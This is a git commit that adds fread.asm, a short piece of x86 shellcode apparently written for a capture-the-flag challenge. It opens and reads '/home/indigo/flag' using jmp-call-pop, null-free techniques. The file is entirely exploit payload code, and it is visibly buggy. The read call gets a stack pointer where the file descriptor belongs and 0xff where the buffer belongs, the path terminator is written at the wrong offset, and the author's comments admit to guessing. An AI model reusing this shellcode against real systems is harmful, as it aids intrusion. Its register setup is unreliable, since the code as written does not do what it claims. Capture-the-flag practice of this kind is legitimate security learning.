From 4fda6945bcaed8de8220e02a93a04fcc1d171c6b Mon Sep 17 00:00:00 2001 From: Brett Weiland Date: Tue, 27 Oct 2020 05:24:08 -0500 Subject: new file: fread new file: fread.asm new file: fread.o new file: makefile modified: orw new file: payload --- fread.asm | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 fread.asm (limited to 'fread.asm') diff --git a/fread.asm b/fread.asm new file mode 100644 index 0000000..358cc93 --- /dev/null +++ b/fread.asm @@ -0,0 +1,26 @@ +global _start +_start: +jmp short data +str_found: +xor eax, eax +mov al, 5 ;sys_open + +xor ecx, ecx ; arg2 +xor edx, edx ; #/usr/include/asm-generic/fcntl.h includes define O_RDONLY 00000000 + +pop ebx +mov [ebx + 18], ecx ; arg1 +int 0x80 + +;eax now contains our file descriptor. + +mov al, 3 ;sys_read +mov ebx, esp ;I think? +mov cl, 0xff ;eh, random guess I guess +int 0x80 + + +data: +call str_found +db "/home/indigo/flag" + -- cgit v1.2.3